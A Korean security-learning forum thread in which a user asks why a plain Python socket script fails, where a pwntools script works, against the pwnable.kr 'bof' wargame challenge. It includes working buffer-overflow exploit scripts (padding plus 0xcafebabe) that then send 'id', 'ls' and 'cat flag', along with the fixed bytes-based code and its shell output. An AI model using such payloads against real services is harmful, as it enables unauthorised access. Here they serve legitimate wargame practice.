시스템 해킹

 1574, 1/79 회원가입  로그인  
   ocal
   pwntools 사용시와 기본 socket 모듈 이용시 차이?

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1987 [복사]


안녕하세요.

pwnable.kr에서 문제를 푸는데 pwntools 배우기 귀찮고 해서 그냥 socket 모듈로 했는데 왜 이후에 명령어를 먹는 부분에서 다른걸까요.

bof 문제를 기반하여 예를 들어보겠습니다.

제가 처음에 했던 것은 윈도우에서 파이썬 3을 가지고 아래 프로그램을 썼습니다.

import socket

X = socket.socket()
X.connect(("pwnable.kr",9000))

payload = "A"*0x34 + "\xbe\xba\xfe\xca" + '\n'

X.sendall(payload.encode())

X.sendall("id\n".encode())

print(X.recv(0x100))

그런데 이렇게 되면 id 명령어의 결과가 전달이 안됩니다.

그런데 아래처럼 인터넷에 돌아다니는 소스는 이런게 됩니다.

from pwn import *


r = remote("pwnable.kr", 9000)

payload = "D"*52 + "\xbe\xba\xfe\xca"

r.sendline( payload )
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()

출처: https://mandu-mandu.tistory.com/71

이 문제 말고도 nc를 사용하는 문제 여러개가 다 이런 현상을 나타내는데,
pwn을 구현할 때 무엇을 해주어서 이게 되는걸까요?

솔직히 pwntools 깃허브도 한번 뜯어보고 했는데 도무지 모르겠습니다.

  Hit : 2137     Date : 2020/01/09 01:38



    
군인 python3 버전을 이용하시는것 같네요.

기능면에서는 socket과 pwntools는 똑같습니다.
다만, python3의 encode() 함수 때문인것 같은데 \xbe\xba\xfe\xca 이러한 정상적인 ASCII 범위를 넘어난 값들을 encode() 함수로 처리할 시 내용이 바뀌게 되는 현상이 있어서 그런것 같습니다.
2020/01/09  
ocal 오호 그렇군요 그 부분을 한번 고쳐보겠습니다. 2020/01/10  
ocal 오 정말 그런 것 같네요. payload를 파이썬 문자열로 쓰지 않고 처음부터 bytestring으로 작성해서 str.encode() 메소드를 쓰지 않고 바로 보내면 잘 됩니다. 감사합니다. 아래는 고친 코드입니다.

#python3
import socket

X = socket.socket()
X.connect(("pwnable.kr",9000))

payload = b"A"*0x34 + b"\xbe\xba\xfe\xca" + b'\n'

X.sendall(payload)

X.sendall("id\n".encode())

print(X.recv(0x100))

결과:
b'uid=1008(bof) gid=1008(bof) groups=1008(bof)\n'
2020/01/10  
군인 ^_^ 2020/01/13  
1574   pwnable.kr echo1 질문2 (스포 주의)[2]     turttle2s
10/05 1000
1573   LOB GATE문제 풀면서 궁금한점[3]     hackxx123
08/24 773
1572   libc관련 - 2[5]     lMaxl04
08/24 756
1571   ASLR이 걸려있을때 ret에 ROP으로 jmp %esp을 사용한 경우.[3]     lMaxl04
06/29 1004
1570   리모트 환경에서의 스택 주소 확인 방법이 궁금합니다.[2]     lMaxl04
06/16 822
1569   해킹 프리서버 없어졌나요?[1]     terfkim
04/15 1564
1568   스택에 데이터 넣을 때 SIGSEGV[4]     turttle2s
02/04 1329
1567   pwnable.kr echo1 질문[2]     turttle2s
06/17 1599
1566   ROP strcpy 관련 질문입니다.[3]     heeyoung0511
06/16 1455
1565   Level2 -> Level3 에서 vi와 /usr/bin/Editor의 차이[2]     hyemin1826
07/18 1679
1564   Trainer3 ftz.hackerschool.org 호스트 접속 불가[1]     hyemin1826
07/18 3043
1563   dll인젝션 실험중 질문 드립니다.[1]     kkk477
05/31 1736
1562   패킷 복호화를 마스터 하려면 어떤 과정이 있어야하나요?     sa0814
04/01 1584
1561   사기[2]     jas08
03/31 1879
1560   시스템 콜이 가능한 메모리 영역과 불가능한 메모리 영역이 존재하나요?     ocal
03/30 1630
  pwntools 사용시와 기본 socket 모듈 이용시 차이?[4]     ocal
01/09 2136
1558   lob level19(nightmare) 관련질문[1]     dnjsdnwja
12/18 1639
1557   ftz level2 질문있습니다[1]     kihyun1998
12/13 1732
1556   ftz level2번 푸는데요 권한이...     kihyun1998
12/06 1610
1555   시스템해킹할때 [3]     thsrhkdwns
12/05 2082
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com